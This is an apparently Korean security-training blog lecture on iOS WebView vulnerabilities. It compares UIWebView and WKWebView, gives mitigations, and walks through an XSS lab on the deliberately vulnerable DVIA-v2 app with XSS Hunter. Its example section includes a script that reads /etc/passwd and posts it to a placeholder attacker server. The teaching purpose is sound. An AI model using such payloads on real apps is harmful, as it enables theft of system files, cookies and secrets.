아이폰·아이패드·iOS 취약점진단/모의해킹 무료 강의
가. 웹뷰(WebView) 취약점이란?
1. 웹뷰(WebView) 정의
- 웹뷰는 애플리케이션 내에서 웹 콘텐츠를 표시하는 GUI 구성 요소로, 앱에 내장된 웹 브라우저라고 생각하면 된다.
- 최근에는 네이티브 방식으로 개발하지 않고, 웹뷰를 이용한 하이브리드 방식으로 앱을 많이 개발하고 있다.
※ 앱 개발 방식에 따른 차이점과 진단방법이 궁금하다면 아래의 링크 클릭.
모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리
모바일 앱 개발 방식에 따른 차이점 및 진단 방법 정리
가. 개발 방식 별 차이 및 장단점 - 모바일 앱의 개발방식은 크게 4가지로 분류된다. 개발 방식 앱 설치 여부 디바이스 기능 접근 개발 언어 개발 시간/비용 네이티브 앱 O O 네이티브 전용 Kotlin, Ja
hagsig.tistory.com
2. 웹뷰 종류 및 차이점
- iOS 웹뷰는 UIWebView, WKWebView 2개가 존재하며 iOS 12.0부터는 WKWebView만 사용이 가능하다.
- WKWebView는 UIWebView가 가진 많은 보안 문제를 보완하였다.("WK"는 WebKit브라우저에서 유래되었음)
- 각 웹뷰의 보안관점에서의 차이점은 아래와 같다.
UIWebView | WKWebView |
JavaScript를 비활성화할 수 있는 기능이 없음 | JavaScript를 비활성화할 수 있음 |
HTTPS 프로토콜을 사용하여 로드하였는지 확인할 수 없음. | HTTPS 프로토콜을 사용하여 모든 항목이 로드되었는지 확인할 수 있음. |
*Out-of-Process 렌더링을 구현하지 않음. 공격자가 UIWebView에서 메모리 손상 취약점을 발견하면 애플리케이션 컨텍스트에서 이를 악용할 수 있음. | Out-of-Process 렌더링을 수행함. 공격자가 WKWebView에서 메모리 손상 취약점을 발견하더라도 애플리케이션의 프로세스는 여전히 격리됨. |
baseURL 매개변수가 빈 문자열(NULL)로 설정되면 공격자는 앱의 파일 시스템(file:// 스키마) 및 외부 웹사이트에 액세스할 수 있음. | 로컬 파일 시스템에 대한 *AJAX 요청을 허용하지 않음. |
file:// 스키마를 통한 파일 액세스 기능이 기본적으로 활성화 되어져 있어 수동으로 해당 기능을 비활성화 해주어야 한다. 공격자는 이를 악용하여 XSS 공격을 통해 서버내의 파일을 탈취할 수 있음. | file:// 스키마는 활성화되어 있지만 기본적으로 파일에 액세스할 수는 없음. |
*Out-of-Process Rendering(OOPR) : 웹 브라우징 및 웹 페이지 렌더링을 처리하는 프로세스가 웹 브라우저의 주요 프로세스와 별도로 실행되는 기술.
*AJAX(Asynchronous JavaScript and XML) : 웹 애플리케이션에서 *비동기적으로 서버와 데이터를 교환하기 위한 기술이나 기법을 가리킵니다.
*비동기 방식 : 웹페이지를 리로드 하지 않고도 동적으로 데이터를 로드하거나 서버와 통신할 수 있게 해주는 방식을 말함.
3. 웹뷰 취약점
- 사용자가 입력한 값에 대해 유효성 검사가 제대로 이루어지지 않을 경우, 클라이언트 측에서 인젝션이 발생할 수 있다.
- 인젝션으로 인해 디바이스에서 기본 기능 호출 및 악의적인 액티비티 수행이 가능할 수 있다.
예시) NULL baseURL로 설정된 웹뷰에서 아래와 같은 XSS공격을 수행할 경우 시스템 계정정보가 해커에게 전송된다.
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///etc/passwd",false);
request.send();
request.open("POST","http://HackerServer.net",false);
request.send(request.responseText);
</script>

나. 대응방법
- UIWebView을 사용한다면 WKWebView으로 재 빌드 해야함.
- 사용자가 입력하는 값에 대한 유효성 검사 필요.
- 입력 값을 DB에 저장할 때, DB에서 값을 불러올 때 아래와 같은 특수문자를 변환하여 인젝션 공격을 예방한다.
특수문자 | 변환 |
< | < |
> | > |
& | & |
" | " |
' | ' |
- 웹뷰에서의 자바스크립트 실행을 원치 않는다면 아래의 코드를 사용하여 비활성화시킨다.
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
self.configuration?.preferences = webPreferences
다. DVIA-v2 앱을 통한 실습
1. 분석 대상 앱 실행
- 실습을 위해 DVIA-v2 앱을 실행한다.

※ DVIA-v2 어플이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.
2022.07.01 - [Mobile App 취약점 진단/iOS App 진단] - [iOS App 진단] 04강 - 진단 대상 설치
[iOS App 진단] 04강 - 진단 대상 설치
iOS 앱 진단을 위해 설치 파일을 요청하면, 대개 아래 3가지 방법 중에 하나의 방법으로 전달해준다. 1. 앱 스토어를 통해 설치 이미 앱 개발이 완료되어 앱스토어에 등록되어 있을 경우, 앱스토어
hagsig.tistory.com
- 메인메뉴 좌측 상단 메뉴 클릭 → 'Webview Issues' 클릭 → 'START CHALLENGE' 클릭



2. XSS 공격구문 삽입
- 아래에 사이트에 접속한뒤 구글 아이디로 로그인 한다.
https://xsshunter.trufflesecurity.com/
XSS Hunter
xsshunter.trufflesecurity.com

- "XSS PAYLOADS" 클릭 → "Copy Payload" 클릭 → 클립보드에 XSS 공격문구가 복사됨
※ img, iframe 태그 등 다양한 XSS 문구들이 준비되어져 있으니 환경에 맞게 사용하면 된다.

- 위에서 복사한 코드를 DVIA-v2에 삽입 → 실행 → XSS HUNTER에서 'XSS PAYLOAD FIRES' 클릭
- *디바이스 정보가 해커의 사이트로 전송된 것을 확인할 수 있다.
*디바이스 정보 : URL, IP Address, Referer, User-Agent, Cookies, Title, Origin, Secrets, CORS, Leaked Source Code, Browser Time, Other


라. 참고 URL
- 크로스 사이트 스크립팅(XSS) 공격 방지 가이드
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Cross Site Scripting Prevention - OWASP Cheat Sheet Series
Cross Site Scripting Prevention Cheat Sheet Introduction This cheat sheet provides guidance to prevent XSS vulnerabilities. Cross-Site Scripting (XSS) is a misnomer. The name originated from early versions of the attack where stealing data cross-site was t
cheatsheetseries.owasp.org
- 웹뷰 종류별 취약점 설명 1
https://www.securing.pl/en/secure-implementation-of-webview-in-ios-applications/
Secure implementation of WebView in iOS applications - Securing
This post discusses how to ensure secure WebViews and how to keep the attack surface restricted.
www.securing.pl
- 웹뷰 종류별 취약점 설명 2
https://www.youtube.com/watch?v=7Ozn9t7tp88
- 웹뷰 취약점으로 인한 시스템 정보 노출
https://medium.com/ios-os-x-development/security-flaw-with-uiwebview-95bbd8508e3c
Security Flaw with UIWebView
UIWebView is something Apple already deprecated, and it is the API most developers complain about its performance — without native code…
medium.com
- NULL baseURL 공격 설명
https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/
iOS Bug Hunting – Web View XSS
This post is about a simple, yet potentially dangerous security flaw that I’ve seen several times in iOS apps. I feel this misconfiguration should have more awareness around it – specif…
www.allysonomalley.com